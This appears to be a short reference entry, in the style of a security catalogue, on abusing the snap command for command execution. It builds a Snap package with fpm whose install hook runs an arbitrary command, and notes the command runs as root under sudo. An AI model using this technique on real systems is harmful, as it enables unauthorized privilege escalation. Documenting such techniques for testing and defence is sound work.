Command

This executable can run non-interactive system commands.
  1. Comment

    Generate the Snap package with fpm and upload it to the target.

    mkdir -p meta/hooks
    echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install
    chmod +x meta/hooks/install
    fpm -n xxxx -s dir -t snap -a all meta
    
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    snap install xxxx_1.0_all.snap --dangerous --devmode